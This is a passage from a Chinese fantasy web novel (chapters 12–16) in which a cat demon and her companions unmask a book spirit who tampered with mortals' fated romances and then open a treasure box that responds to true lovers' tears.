叶米猛然睁开眼睛。
霎时间金光乍现，爆炸点就是叶米从难耐躺到摆烂的床架子棺材，空间被炸裂拉扯出的光影之间，夹着一声凄厉的惨叫。
叶米醒了过来。
万情贞扑到地上，哇地吐出一口血，还没等他缓过来，忽然肩膀上挨了一踹，整个人就在地上滚了几圈，直到碰了一张桌子才被止住。
余光看见朝他走来的一双脚，万情贞的脑子从来没有这么高速运转过，他连忙跪起来，根本不敢看那人的眼睛，只是朝她磕了一个头，飞快地结巴道：“恭恭恭恭恭喜恭喜……恭喜大人闯过第三关！”
“第三关？呵，”叶米脸上阴晴不定，嘴角是勾了一边笑着的，眉毛也是高挑的，眼里却没有半点笑意，“我先前问你的时候，你可没说这情关是要我过。”
“这、这……”万情贞脑子快烧了，怒火是从某猫身上传来的，“大人，你们三妖法术高超，若是寻常凡人的三关，那定是不在话下的，那那那……让他们得到这杨枝甘露，不是太容易了些？这有失公允啊……”
叶米才不会被他这一言两语得给糊弄过去，冷笑一声道：
“若真是寻常凡人能过的三关，我也不会插手。在边上悠哉看他们过关，然后选出真情人不是更轻松自在？可第一关的幻术，我一招只能破一半；第二关的妖魔鬼怪，若没有我们，那二人早就被碎尸万段了；还有第三关……你胆子不小啊，竟敢对我用阴招！”
叶米数着他的
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罪状，越数越气，打了个响指，那万情贞就被凭空拎了起来。
他惨叫一声，惊恐地在空中挥舞了一下四肢，接着就不敢动弹了，满脸可怜地看着叶米，哀求道：“大人，我知错了！我知错了！求您饶命啊！”
“想要我饶你一命？”叶米看着他一动不敢动的怂样，“好，你告诉我，你一个小小的塔灵，是如何侵入我的神识，让我中了幻术？”
万情贞转了下眼珠子，刚想说什么，又听叶米道：
“你不会以为我会信了什么‘乘其不备乘虚而入’的瞎话吧？像你这种法力低微的蝼蚁，若不是用了什么法宝，怎么可能让我神不知鬼不觉地陷入幻术？你在瞧不起我？”
万情贞哪敢，连忙说“不是不是”。
“你只有一次说实话的机会，”叶米露出威胁的温和笑容，“我可提醒你了。”
万情贞上一次挂在空中是装神弄鬼骗这五人，这一次就是待宰的羔羊，左右不过一个时辰的事，这让他感到命运的多舛，自己好可怜。
“我数到三……”
“我说、我说……”万情贞觉得被撕被烧被哮天犬凌辱总好过现在就死在这只野猫的爪下，那真是死得不其所，“我说……其实我、我不是什么塔灵，而是月老书格上一本姻缘簿。”
叶米挑了下眉，余光瞥向身后一边睡觉一边咬牙切齿地流眼泪的胡和烈，想到他之前说在万情贞身上闻到仙味的事。
原来他没闻错。
她看向万情贞，表现出半信半疑的模样：“哦，是吗？”
“我真的是！”万情贞急于证明自己，霹雳吧啦道，“都怪我不好，趁着月老不在，偷跑下凡间，我其实是有宏愿的，想要写出比月老笔下更广为流传的爱情故事，所以、所以……”
叶米想到在村子里见到的一切，思绪明朗：“所以，你就拿这多情塔边上的村民们做试验，给他们乱定情缘、演绎你的故事，连几岁的小孩都不放过。”
“别说得这么难听嘛。”万情贞心虚解释，“人这一辈子，谈情说爱是再正常不过的事，早点晚点有什么关系呢，多的是青梅竹马、指腹为婚，还有半老徐娘风韵犹存谈个黄昏恋的故事……”
叶米点头：“所以，你让我和那两个蠢蛋‘爱上’凡人的方式并不是通过幻术，而是把我们写进姻缘簿，因为你也知道你法术并不高明，只有几分阴险的、不易察觉的手段。”
万情贞不敢说话。
叶米微笑：“所以，你根本不想让他们拿到杨枝甘露……或者说，是不想让我打开这真情宝盒。可是你一个书灵要这杨枝甘露也没用，看来是这宝盒里还有其他对你至关重要的东西，比如……你的真身。”
万情贞汗流浃背。
叶米了然：“所以，你是怕宝盒打开，真身败露，被月老发现捉回天庭受罚，为防止此事发生，你不惜为难众多前来求杨枝甘露的人，甚至事到如今，一不做二不休地阻拦我成仙！”
万情贞快要碎了。
13. 第 13 章
要不是这会被拎在空中，他早已经腿软地跪下来求饶，现在跪不下来，就只好朝叶米拜拜：“大人饶命、大人饶命啊！真情宝盒一经打开，只有月老才能再次将其合上，我也是为了自己这条小命，万不得已才……”
叶米莞尔一笑：“你的小命对我来说不重要。”
万情贞的心就拔凉了起来。
“不过，留着你也不是没有用处……”
万情贞的心又暖和了一些：“谨遵大人吩咐，您要我做什么，我都在所不辞！”
“哼。”
叶米手一挥，万情贞就“啪叽”一声落到了地上，他来不及理会身上的疼痛，站起来后连滚带爬地走到屋子中央的真情宝盒边上，也不敢碰，就是站在边上，双手做了一个“请”的动作，万分殷勤地和叶米道：
“大人，您请开箱吧。”
叶米对他表示了嘲讽的关心：“不担心自己真身出世被抓回去了？”
“不担心不担心……”万情贞心想被抓回去起码还留着一条小命呢，“怎么都比不上大人的成仙考核重要啊。”
叶米满意点头，朝边上乱七八糟地躺在地上睡觉的几人抬了抬下巴：“让他们醒来。”
万情贞擦了把汗：“是……”
“等等。”叶米叫住他的原因是因为她余光看见了皱着眉头在睡觉的陈嘉庆，心中又蛄蛹出一些酸涩难耐的感受，“为什么我已经醒了，还是会对这个人有异样的情绪？”
“这异样的情绪便是情爱了。”万情贞小心又大胆地笑了一下，“大人，您醒了只是脱离了第三关的幻境，想要让这情消失，只要划去您在姻缘簿上与他有情缘的部分就成。”
叶米斜眼看他：“还用我吩咐你？”
万情贞抖了一下，连连应好，手中幻化出一本桃红色的小本子，他有些紧张地翻了几页，翻过了又翻回来的，顶着叶米越发不耐的死亡凝视，最终还是翻到了那一页，上面的油墨新得发亮，毕竟是他前一个时辰刚写上去的。
他拿着毛笔，正打算划去那句“叶米看着为她挡了一剑的陈嘉庆，心中有感，不自觉生了情丝”，笔尖却在“叶”字上头狡诈地迟钝了一下，他抬起头来，朝叶米讨好一笑：
“大人，这划去只怕清不干净，不如我直接把这页撕了吧！”
叶米管他是划掉还是撕掉，抱着胸，手指有些不耐地在胳膊上敲了敲：“随便你，磨磨唧唧的。”
“嘿嘿。”
万情贞弯着眼睛偷偷一笑，飞快地将姻缘簿撕去几页。那纸张脱离册子后，在空中消散成稀碎的星光，转眼不见了踪影。
没过一会，那堆疑似睡死了的尸体堆里传来几声痛苦的呻吟，叶米转头一看，先醒来的是胡和烈，这家伙不知怎么，脸上怒气腾腾的，但眼睛里还流着眼泪，瞧着矛盾又好笑。
叶米趁他神志不清：“梦到什么了？”
“啧……搞什么，”胡和烈甩了甩脑袋，感到头有些涨涨的，“居然在我们新婚之夜上吊自尽，小爷哪里比不上那个瘦鸡……”
叶米就明白了，哈哈地笑出声来：“原来你的故事是，强取豪夺后得到了她的人没得到她的心，好不容易娶到手了一个没看住就让她自杀了？胡和烈，你真是遭人嫌，人家死都不乐意嫁给你呢。”
万情贞在边上鼓掌：“大人真是聪明！”
猫叫是最能刺激胡和烈神经的声音之一，这几乎是条件反射产生的怒火让他很快清醒过来，怒睁着眼睛看着对他眯眯笑的臭猫，刚意识到了什么，耳边又听见一道呻吟，他转头一看，躺在边上的正是他“爱而不得”的女人。
胡和烈跟弹簧似的蹦了起来，一蹦离还没清醒的郝春玉隔了老远：“怎么回事！为什么我会……”
他这才看见站在叶米边上的陌生“人”，立刻他应该就是叶米说过的塔灵，瞬间召唤出螫针，针头指着万情贞道：“是不是你搞的鬼！你是谁？真是好大的本事，居然敢对我用幻术！”
万情贞吓得又想跪了，撑着软了的膝盖躲到叶米后面：“大人大人，您帮帮我，我要死也得死在您的手下，是不是？”
叶米留着他还有用，自然不会让胡和烈杀了他，再说现在她看着扑棱蛾子恼羞成怒的模样，心情也颇好：“行了，你自己醒不来，怪人家做什么？是你技不如人。”
胡和烈气冲冲道：“他肯定是用了什么歪门邪道，一只小小的塔灵，怎么可能有这么厉害的幻术！你让开，让我杀了他泄愤！”
万情贞把头缩了回来：“大人救命啊！”
“就是歪门邪道，我不也是醒了，还救了你们。”叶米说这话时的得意听得扑棱蛾子牙痒痒，只恨她说的是事实，“这幻术的事等那几个没用的废物醒来再一同解释，免得我听得烦了。”
胡和烈“哼”了一声，收了螫针，转过身去面壁生闷气。
不多久，谢珍珠几人相继醒来，万情贞向几人解释了前因后果之后，几人都后知后觉先前的反常，想到刚刚在梦境中发生的事，各自的脸上有各自的尴尬和不同程度的想死。
尤其是谢珍珠，她意识到自己居然为了陈嘉庆那点蚊子血小伤和叶米顶嘴，真是又羞愧又害怕，要是叶米想把她烤了吃——她也只能一边哭着求饶一边觉得情有可原。
说实话，叶米刚清醒的时候也是气得想杀人，现在看着大家都这么想死，自己就舒服多了，毕竟最先醒来的可是她，怎么说也比这几个人好许多，没有对比就没有安慰。
她的眼睛依次扫过几人、尤其是陈嘉庆身上时，心里头不再有蛄蛹的诡异感觉，这让她开心许多：“都听明白了？”
几人沉默地点了点头。
叶米就指示道：“陈嘉庆，你去往那宝盒上流几滴眼泪。”
陈嘉庆被她叫名字的时候，心脏好像要被扯出胸膛，他差点以为自己马上就死了，幸好只是让他去流眼泪，便连忙点点头：“好……”
“等等。”站得有些远的胡和烈面色难看，“你说这宝盒一百年只能收一次眼泪，如果他不是真的有情人怎么办？”
叶米看向他：“他不是谁是？郝春玉？”
郝春玉抖了一下，头皮发麻，垂下眼睛不敢说话。
“这个女人……”胡和烈话里还有许多不满呢，“在幻境中对那个叫什么的瘦鸡一心一意，任小爷我英俊潇洒、家财万贯也打动不了她，我强行娶她进门，她却誓死不从，在新婚之夜自行了断……这不是真情是什么？”
叶米：“是吗？”
郝春玉连忙表明自己的真情：“叶姑娘，我、我对伟郎自然是一片真心。”
“叶、叶米……”谢珍珠小心地叫
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她，见猫转过来，脸上没有什么怒火，心下便松了口气，说话声大了些，“可我觉得陈公子也是真心的，幻境之中，他为了我、咳，应是杨薇薇才是，他为了杨薇薇四处寻医、不顾家人的反对也要娶她过门，对他示好的佳人千金有许多，可他依旧对病榻上的杨薇薇至死不渝……”
“最后……”说到这，她还怪感动的呢，“最后甚至愿意用自己的心头血让杨薇薇活，这是以命换命啊！肯定是真情的……”
叶米听到一半，就知道这螃蟹精和自己经历的幻境居然一模一样，某些书灵真是偷懒得很。
再说这二人对情人的真心程度，都到了一心一意、甘愿赴死的地步，这么看来，确实难以抉择。
叶米便问站在边上一言不发的万情贞：“万情贞，你是月老的书灵，应当了解不少人间的爱恨情仇，不如你说说看，这两人谁的情最真？”
她一边说这话，一边吹了吹自己刚变出的利爪上并不存在的灰尘。
万情贞：……
他吓得要死，哪里听不懂这威胁，只怕他选错人后自己也没了小命，抖着嗓子说：“大大大大人，我有一事禀报……”
“说。”
“大人饶命！”万情贞先跪下摆出求饶的姿势，他现在做这个动作老熟练了，“先前我说的……就是这宝盒一百年只能试一滴眼泪的事，是、是在说瞎话……”
“那是如何？”
万情贞：“……其实能试好几次，并没有次数限制，只要有真情人的眼泪就能将其打开。”
“这是好事，”幸好这是好事，不然叶米也不确定自己会不会一怒之下对可爱的小书灵做什么坏事，“既然这样，那就挨个试吧，郝春玉，你先去。”
郝春玉点点头刚想应声，又听万情贞又补充道：“不过！杨枝甘露只有一滴的事……我没有胡说。”
“只有一滴……”郝春玉一愣，下意识看向陈嘉庆，对方也在看她，“那我和陈公子不是……”
“杨枝甘露的事你们二人自己商量，”胡和烈有些等不及了，“不管给谁，先把这宝盒打开再说。”
郝春玉收回视线：“说的也是……”
她走到宝盒前，先是做出了要哭的表情，不过情绪似乎还没到位，也许是有些紧张。
众人耐心等待着，郝春玉闭上眼睛，脑海里回忆辗转，一会儿是在张伟赴京赶考前那晚，她与心上人在明月下含情脉脉地看着彼此、互定终身的浪漫和不舍；一会是前两天打开家门，看见爱人死在家门口时自己痛彻心扉的绝望。
好不容易在多情塔中过了三关，却只剩下一滴杨枝甘露，她能不能拿到手还是另一回事……
难道世间的有情人真的难以相守？
郝春玉越发感伤，鼻尖的酸胀直冲她的脑壳，又落到泛红的双眼中，慢慢地溢出一滴泪来，泪水落下的一刻，她脑海里的景况是幻境中自己身着大红嫁衣，却在婚房里悬梁自尽的模样，胡公子冲进屋来，俊美的脸上满是不可思议的哀痛……
她的泪水落在真情宝盒上，宝盒发出短促的一声“嗡”，郝春玉神色茫然。
叶米过来开宝盒的时候，她不由得有些紧张，她对伟郎自然是真心的，不只她自己这么认为，同她一起经历过幻境的胡和烈也是这样想的。
所以到底是……
14. 第 14 章
“打不开。”
“什么？”她猛然抬起眼，眼眶里又落下几滴泪来，郝春玉相信这只是巧合，她把眼泪抹在手掌心，又抹到宝盒上，自己再试着去打开，但宝盒严严实实的，不为她所动，“怎么会这样……我这么爱伟郎，我甚至愿意为了他去死，为什么打不开？”
“啧，”胡和烈似乎也有些意外，不过他只觉得自己判断失误，现在他对郝春玉没了感情，就很是看得开，“算了。”
他看得开，可郝春玉看不开啊，她似乎很难以接受自己对伟郎不是真情这事儿，叶米看她自我怀疑的哭脸，觉得其实该伤心的是那个死掉的张伟吧，不过这些她并不在意，她无所谓是谁打开的宝盒，反正能打开就行：
“陈嘉庆，你来。”
郝春玉抹了把眼泪，踉跄着退了两步，给陈嘉庆腾了位置，她脸色绝望，小声地喃喃道：“我救不了他了……”似乎已经判决自己失去了得到杨枝甘露的权利。
陈嘉庆瞧见她这副模样，心里说不紧张是假的，他握紧的两只拳头里全是手心汗，额头上也流了一些。
胡和烈古怪道：“不是，你这么紧张做什么，就算打不开，我们也不会杀了你。”
陈嘉庆吐出口气，惨笑一声：“我不怕死……我只怕救不了我娘子。”
说到最后两个字时，他不知为何，很快地看了谢珍珠和叶米一眼。
胡和烈道：“你既然有为了救她不怕死的决心，那多少有几分真心吧？快掉几滴泪试试。”
陈嘉庆顶着三妖一人的视线，看着面前精雕玉琢的真情宝盒，眼神渐渐模糊了起来，宝盒上的花纹样式慢慢被磨平，只剩下一个铜盒的轮廓，他这会也不知道在想什么，反正眼睛一闭，泪水就落了下来。
宝盒发出“嗡”的一声。
胡和烈迫不及待地将宝盒一掰——
“怎么还是不行？”
陈嘉庆感到一阵眩晕，他头脑昏昏地退了两步，差点要跌坐在地的时候，好险谢珍珠扶住了他：“陈公子……”
他苍白着一张脸，虚脱道：“我没事……”
谢珍珠看着他这副模样，心里很是同情，她也想不明白为什么会这样，明明在她看来，不管是陈公子还是郝春玉，两人对他们的爱人都是真心的。
她将陈嘉庆扶稳站好，又想去安慰一下郝春玉，余光却瞧见叶米起了手势，她顿感不妙，连忙走到二人面前把手一张：“叶米等等……”
叶米反手就把万情贞给拎到了半空。
谢珍珠：……
哦，没事了。
有事的万情贞又回到了熟悉的地方，哇地一声哭出来：“大人、大人饶命啊！我也很意外这两个凡人的眼泪打不开宝盒……”
“你很意外？”叶米似乎意外他很意外，眉头一挑道，“万情贞，我很是好奇，像他们二人这般愿意为爱去死的人都不算是有情人，那宝盒所承认的真情，到底要做到何等地步？”
万情贞心虚地溜了下眼珠子，他自以为很隐蔽，其实这不明显的狡黠并没有躲过叶米的眼睛，更坚定了她觉得这事儿有古怪的想法。
可是叶米一直有留意万情贞的一举一动，他始终离这宝盒有些距离，没做什么小动作；宝盒她也检查过了，没附着什么结界……到底为什么打不开？
聪明过妖的叶米很快就发现了疑点，她当即转换了思路：若不是这宝盒有问题，那就是流眼泪的陈嘉庆和郝春玉有问题，这万情贞对他姻缘簿的效力是有自信的，所以现在的异常应是在她从幻境醒来之后的补救措施……
也就是说，万情贞就在她的眼皮子底下，对他们做了什么手脚。
叶米恍然抬起眼，看着吊在空中的万情贞，露出一个看死人时不需要再有什么情绪的笑容：“你敢耍我。”
万情贞睁着大大的眼睛，惊恐万分地选择了嘴硬到底：“大人，我我我怎么敢耍……”
胡和烈看看她看看他，掺和了一嘴：“搞什么啊？”
叶米冷笑一声：“哼，我让他划去姻缘簿上我们与这两个凡人的情缘，他耍心眼说不如直接将那几页撕掉，我当时还觉得他做事做到底，想得周到，原来是那几页上还写着这陈嘉庆郝春玉二人与他们爱人的情缘故事！”
撕了，这情就没了，就像短暂地“爱”过陈嘉庆的叶米一样，如今看到他已经无动于衷。
胡和烈听了此事，也是觉得被戏耍了，怒气腾腾地看向万情贞：“你搞什么玩意，居然用这么下贱的手段阻碍我们开盒！”
万情贞听叶米说出自己的暗箱操作的时候，心里已经拔凉拔凉的了，他哇地一声哭出来：“大人饶命啊，我真的只是想留一条小命活着，我不想死，也不想被抓回去呜呜哇哇啊啊啊……”
这万情贞一边可怜兮兮地求饶，一边千方百计地不让他们打开真情宝盒，叶米看着他泪眼汪汪求饶的模样，感受到这家伙可怜的狡猾。
陈嘉庆和郝春玉似懂非懂地望望彼此，即使不确定写着自己情缘的那页被撕掉会发生什么事，但月老姻缘簿的作用他们多少知道点，这会也隐约料到一些可能性的后果，可各自思酌一番，又察觉不出内心特别的变化。
叶米心中闹着怒火，脑子还是清醒的，她自然不会这么随便地就把万情贞杀了，起码这书灵还有一技之长要被她所用，当务之急，还是得想办法补救。
她转了个手指，万情贞就在空中四肢大张地转了几圈，吓得他哇啦啦叫了几声，叶米只是小作威胁，等他停下了，就语气和善道：“你不想死也可以，那你告诉我，现在没了这两个有情人，宝盒要怎么打开？”
万情贞被转得瞳孔涣散，眼珠子都晕了：“大、大人，可以等下一个有情人来塔中过关开盒，到时我绝对不再动手脚……”
他这么说，哪怕不那么赶时间的谢珍珠都觉得很不靠谱：“不说塔中这关关难过，你已经吓跑了不少来寻求杨枝甘露的人，如今百姓们都在传闻这塔里有妖魔鬼怪，来多情塔的人是越来越少了……我们要等到什么时候啊？”
叶米难得赞同螃蟹的话：“连她都明
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白的道理，你该不会想这么糊弄我吧？”
螃蟹：……连我都明白？
万情贞可怜地喊冤枉：“没有啊没有啊！”
叶米道：“不妨实话和你说，我现在不杀你，皆是因为我的考核不得随意杀生，若是因为你让我考核失败、成不了仙，我也算是没了顾虑，到时候我就把你的真身一页一页地撕下来，用火烤、水浸，脚踩……让你求生不得求死不能。”
万情贞：汗流浃背。
胡和烈在边上幸灾乐祸地帮腔：“别怪我没提醒你，这只猫妖向来是说到做到的。我劝你还是趁早把这宝盒开了。”
万情贞真是有苦说不出，他这人是有几分机灵，鬼主意不少，但是情急之下就来不及考虑后果，当时撕掉姻缘簿也是一时灵光一闪，觉得可以这样拖延时间，倒是没想过叶米会这么快想清其中的因果……
他想，这只猫妖是挺聪明，法力还高强，看来如今只能苟且服软、暂时保住自己小命了：
“猫大人，都怪我一时糊涂、耽误了你的大事，不过这宝盒真的只能用有情人的眼泪打开……我倒是可以再为这二人书写情缘，只是世间万物也讲究循序递进、起承转合，你们三位能这么快摆脱姻缘簿的影响，也是因为陷入其中的时效不长，真情是有几分，但不多……”
“像陈公子和郝姑娘二位，虽说已被我撕去姻缘簿上的记载，可后劲还没过，因为他们心中的真情是按照姻缘簿的记载，一步一步、一日一日发展而成，如此才到真情的地步，就是我现在重新为他们书写，那也是、也是不切实际的……”
他话说到这，三妖还没表示什么，郝春玉忽然插嘴：“你这是什么意思？难道我与伟郎的感情，日后会渐渐烟消云散？”
万情贞看向这位存在感不强的工具人：“你听明白啦？那我讲得还挺清楚。”
“你凭什么！”她说话一向是温温柔柔的，几人第一次听她这么激动地喊，“你凭什么就这么随便地抹去了我们的感情，你为什么要这么做！”
万情贞看她流眼泪，虽说有些心虚，但还是诚恳道：“哎呀，你别哭嘛，这世间爱恨情仇就是这样的啦，多的是爱的死去活来后又移情别恋的故事，而且你的伟郎都已经死了，我让你不再爱他，这不是好事一桩吗？”
“你说是好事就是好事？”郝春玉一边绝望地流泪一边控诉，“我只想爱他，就是死也要爱他，我今日到这来，不就是为了找让他复活的办法吗！”
“没错！”陈嘉庆也是浑身发抖，他又气又悲伤，眼眶红红，鼻孔都放大了了许多，“我爱了薇薇大半辈子，她身世可怜，在这世上只有我爱她、怜她，如今她躺在病榻上，我是她唯一的希望……”
说到这，他忽然“砰”地朝万情贞跪了下来，两行泪水流下：
“我不清楚你们神仙的事，也不清楚日后我会如何，我只知道我现在还爱薇薇，我求求你们救救她，哪怕我真的会慢慢对她失去感情，可是能不能、能不能不要让她再被病痛折磨、日日痛苦地苟延残喘……”
15. 第 15 章
万情贞虽说书写了成百上千的爱恨情仇，但头一回与自己“笔下的人物”面对面这么交谈，他有些不知所措，但还是实话实说道：“你们现在这么伤心，是因为姻缘簿的效力还未散去，等过了几日就不伤心了哈……”
陈嘉庆“哐哐”地开始磕头：“求仙人救救我娘子！”
郝春玉如法炮制，她哭得没力气，每磕一次头都差点要晕过去，立起身来都要翻白眼了。
万情贞无助挠头：“你们别这样，事已至此……”
这两人“哐哐”的磕头声此起彼伏，吵得胡和烈心烦，法术一施就将他们定住了身子，只有几滴眼泪还顺势从脸颊滑下，滴答在地上。
谢珍珠觉得他们好可怜好可怜，事到如今还想着救自己的爱人，这样的真心怎么会是假的呢？
她抽抽鼻子，走到二人的身边，用法术将地面上的几滴泪水捡起，走到真情宝盒边上让眼泪们落下，宝盒发出几声“嗡嗡”，谢珍珠怀着一些希望试着将其打开——
可是这么痛苦的、看起来那么真心的泪水，还是没有达到宝盒的标准。
谢珍珠抱着宝盒，无助地看向叶米：“叶米，为什么会这样啊？”
叶米要是知道也不会站在这儿压着想弄死万情贞的冲动、使劲转脑子想办法了：“不知道。”
谢珍珠这么懦弱的人，也是有发脾气的时候的——主要这万情贞看起来比她还好欺负一些，怎么说还有另外两只妖在呢，于是她冲万情贞发火道：
“你怎么能这么过分！你这样为一己之私肆意玩弄凡人的感情，实在是、实在是……”她还不会骂人，“实在是太过分了！”
恃强凌弱的良好品德也表现在被强者骂的时候唯唯诺诺应是，被弱者说两句的时候则要不服气地回怼，像万情贞就是这样的，他被螃蟹精骂的时候就有许多不服气，想为自己辩解：
“你们、咳，你、你啊，”万情贞眼睛扫了某二妖，然后朝谢珍珠说，“你根本什么都不知道，凭什么这么骂我！好啊，我告诉你（们），就是他们二人拿到了杨枝甘露回去、救了他们的爱人，他们也不会这么恩爱一辈子的！”
谢珍珠一愣：“为什么？”
万情贞小心地得意：“你问我我就和你说啊？”
叶米：“为什么？”
万情贞正色道：
“猫大人，实不相瞒。若无先前的意外发生，故事的发展是这样的：虽说这杨枝甘露只有一滴，但功效非凡，他们二人商量过后，决定各取半滴回去救人。郝姑娘得到杨枝甘露回去后救活了张伟，不过半滴杨枝甘露，只能续三十年寿命，但对死人来说也算赚啦。”
“张伟经此一劫，日日心惊胆战、只怕再有宰相的人来暗杀他，殃及他所在意之人，思虑之后，还是选择赴京去做上门女婿。话说这宰相的千金容貌如花似玉又饱读诗书，是个才情非凡的佳人，张伟一开始虽是视死如归而去，但不过几月便真的爱上了她。而你……”
万情贞看向跪在地上，脸色煞白的郝春玉道：“你却对他痴心不改，一直觉得张伟当人家女婿是不得已而为之，于是相思成疾，一年之后去京城找他，瞧见他与他娘子抱着他们的孩子郎情妾意、谈笑风生……”
“即使这样，你依旧去追问你们二人之间的旧情，可张伟早已爱上了宰相千金，对你只有旧情人的感慨了，他好生劝说你离开后，你……唉，你接受不了日思夜盼的爱人移情别恋，随意寻了处投河自尽。”
郝春玉听了她与张伟故事的后续发展，不能动的脸上，靠着眼神就写出了明晃晃的“不可置信”“你骗人”，但她一定是相信了，不然也不会这么断了绳子掉珠子似地开始掉眼泪，看着好不可怜。
此处应配上悲情音乐。
谢珍珠是在场唯二觉得不可置信的人：“为什么会这样……明明是郝姑娘救了他，他怎么可以……”
“被救的人移情别恋怎么了？救人的也会呢！”万情贞似乎对她的大惊小怪有些嘲讽，继续切瓜给几人吃，“比如，这位陈公子……”
说句实在的，陈嘉庆现在要是能动，绝对要想办法阻止万情贞继续说，他实在是害怕听到一些不想听的、不敢听的。
只可惜他被法术控住，阻止不了万情贞在这嘚吧嘚吧：
“这陈公子得了杨枝甘露之后，回去救活了她的娘子，两人确实恩爱了好一段时日，只不过半滴杨枝甘露虽能让他娘子的顽疾好了大半，像个寻常人一般，但日子久了，你们便发现她不能生小娃娃。”
“陈公子你身负传宗接代的重责，不得已娶了那位对你有情的、人美心善又身子健朗的张府的千金，她身份高贵，却情愿做小、为你生儿育女，你心中对她有愧，不自觉与她亲近几分，却惹来杨薇薇的妒忌和阴阳怪气。”
“长此以往，你越发觉得欠了你一条命的杨薇薇不仅不对你感恩戴德、乖巧听话不说，反而爱吃醋、蛮横惹人嫌，对善解人意的张姨娘倒是愈发深情。最后在一次争吵过后，你半年避杨薇薇不见，杨薇薇对你心灰意冷，旧疾突发而亡……”
“唉……”说到最后，万情贞满足地喟叹一声做了总结，“真是辗转曲折、伤人心魄，挖人肺腑的爱情故事啊！”
陈嘉庆听得人都要碎了。
虽说故事的最后死的不是他，但对如今爱杨薇薇爱得深切的他来说，实在接受不了自己的心爱之人会是这般的结局，如果结局注定不能善终，那还不如……
“还不如不救他们对不对？”万情贞话锋一转，煞有其事道，“杨姑娘，只要你不救张伟，他不仅没福气享那荣华富贵不说，你也不用死啦；陈公子，与其救了你娘子让她同你撕破脸、含恨死去，不如趁现在你们还相爱，好好送她一程、让她走得安心吧！”
这两人也不知听没听进去，反正郝春玉哭得昏厥
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，陈嘉庆震惊得呆若木鸡。
还是胡和烈哈哈一笑，站着说话不腰疼：“欸，你这倒是说得有道理。”
万情贞朝叶米讨好一笑：“猫大人，你说对不对呀？”
叶米听罢，心中有几分思绪起伏，不过倒不是为了这两个凡人：“我不管对不对，我只想知道这宝盒怎么开。”
万情贞收了笑脸缩起身子不敢说话。
真情实感的除了两个凡人，也就是谢珍珠了，她从来是听美好结局的儿童故事长大的，第一次见到这么险恶的故事发展，确实是感到被人伤了心魄，挖了肺腑般的疼痛。
“为什么……”她眼里含着两泡泪水，悲伤地质问万情贞，“他们的故事是不是你写的？你为什么要写这么讨厌的故事？”
万情贞为自己澄清：“我可不是乱写的……好吧有一些是，但整体发展都是有依据的！我只是做了一些无伤大雅的小更改。哎呀，那些因缘际会、前世因果，说了你也不明白。”
“你别这么看我啊。”万情贞表示不接受她含着怨念的眼神攻击，“一对有情人能不能在一起，还真不是我说得算的……你不是姻缘簿，你不会明白的。”
叶米若有所思地看着他。
谢珍珠看着那两个跪在地上的人，郝春玉已经闭着眼睛，疑似晕过去了，只不过被术法撑着身躯；陈嘉庆没晕，就是瞳孔涣散，疑似灵魂出窍，他额头上还肿着一个磕头磕出来的大包；两人都是满脸狼藉。
她心里有许多同情，好死不死的，万情贞还在边上说：“哎呀他们两人现在是伤心，过两天就什么都不知道啦！指不定还没你记得久呢……”
可是……谢珍珠想，之后的故事会怎么发展又怎么样呢？起码他们现在是真心地想为了救爱人而不顾生死，起码现在是……
这样的感情怎么不算真？
谢珍珠落下两滴泪来，滴在她怀中的真情宝盒上，宝盒应泪水发出“嗡嗡”两声，谢珍珠低头一看，满腔的悲愤让她也有些生气了，觉得要不是这宝盒，就不会发生这么多事——
“都怪你！”
她对宝盒泄愤，使劲地将其往地上一砸，宝盒可怜地叫唤了两声，却听什么“嘎登”一下，它就这么打开了。
叶米：？
其余几个：？
谢珍珠瞪着的眼睛里还流着泪。
啊……砸一下就好啦？
万情贞先跳了起来：“怎么会这样！？”
他下意识想扑过去，但很快又被叶米给吊到了半空，发出没人再会在意的求饶声。
叶米和胡和烈连忙赶到宝盒边上，翻倒的宝盒翻过来，只见里头除了有一个瓷白色的玉瓶之外，还有一本书，上边写着“姻缘簿”三字，正是万情贞曾幻化出来的书册，这便是他的真身了。
胡和烈拿了玉瓶，叶米拿了姻缘簿，谢珍珠在后头看他们二人拿着，神情呆傻。
16. 第16章
叶米瞥了眼在空中哇吱乱叫的万情贞，手一挥，空中就出现了她们的考核地图，她看向上头边上写着“多情塔”字样的一个宝塔图样，还是灰扑扑的模样，没什么变化，眉头一皱道：“宝盒已开，为什么还没过关？”
她这话问得当然是万情贞，后者一愣，忽然想到了什么，越发觉得自己的死期将近了，可不说就是马上死，他只好小小声道：
“哦……还有一件重要的事……我一直忘了和你们说……其实我说你们开了宝盒就能过关的事……也是瞎编的，大大大人你别生气，因为我根本不知道你们的考核是什么啊！”
叶米转着手指让他在空中又转了一会。
事情就是这么个事情。
三妖陷入了新的困惑。
胡和烈摇摇手中的玉瓶，猜测道：“难道是要我们按照原先故事的发展，将这杨枝甘露分为两半让他们回去救人？”
谢珍珠抽抽鼻涕，小声地说：“说不定……说不定是要我们改变他们两对有情人悲惨的结局？可是不管给不给这杨枝甘露，结局似乎都……不太好。”
叶米想了想，看向手中的姻缘簿，她随手翻了几页看了看，翻到了一处有撕掉纸张留下的痕迹的地方，想来就是万情贞撕掉的陈嘉庆和郝春玉的那几页，撕掉就没什么好看了，她正要继续翻，忽然在左下角看到了什么，视线一顿。
不过很快她就跟没事人似的，继续往后边翻了几页，谢珍珠在她后头吐槽：
“这个万情贞真的是过分……怎么随便在里边加情节啊？这对有情人明明很顺遂地就能在一起，他偏偏加点不必要的事，要让男子被人打断腿，最后两人是在一起了，但是过得好苦啊。”
“还有这个，”胡和烈用手指点了点一处，“这对的原文也是郎情妾意，他偏要让女子的姐姐也爱上这个男的，结果两人在一起之后，女子和她姐姐老死不相往来，搞什么啊。”
“这里也是……咦，他为什么总是写两人从小就相爱的故事？”
胡和烈想到什么，撇嘴道：“嚯，怪不得我们来的时候，那两个小孩毛都没长齐就要亲嘴呢！”
三妖齐齐抬头看向罪人万情贞，他这会老心虚了，溜着眼神不敢同他们对视，挂在空中一动不动，要多安分有多安分。
谢珍珠喊道：“你太坏了！”
万情贞心虚反驳：“我我我就是改了一点点不重要的……”
叶米看看手中的姻缘簿，又看看胡和烈手中的玉瓶子，再想到身后跪着的二人的种种遭遇，万千思绪在她脑中盘旋，最终汇成一滴灵光：
“我明白了。”
几人纷纷看向她，叶米朝胡和烈伸手：“把杨枝甘露给我。”
胡和烈心中虽有疑虑，不过抱着对劲敌的诡异信任，还是给了她：“你要做什么？这杨枝甘露可只有一滴。”
“放心吧，”叶米打开瓶盖，心态稳稳地，“我比你们两个加起来都想要成仙。”
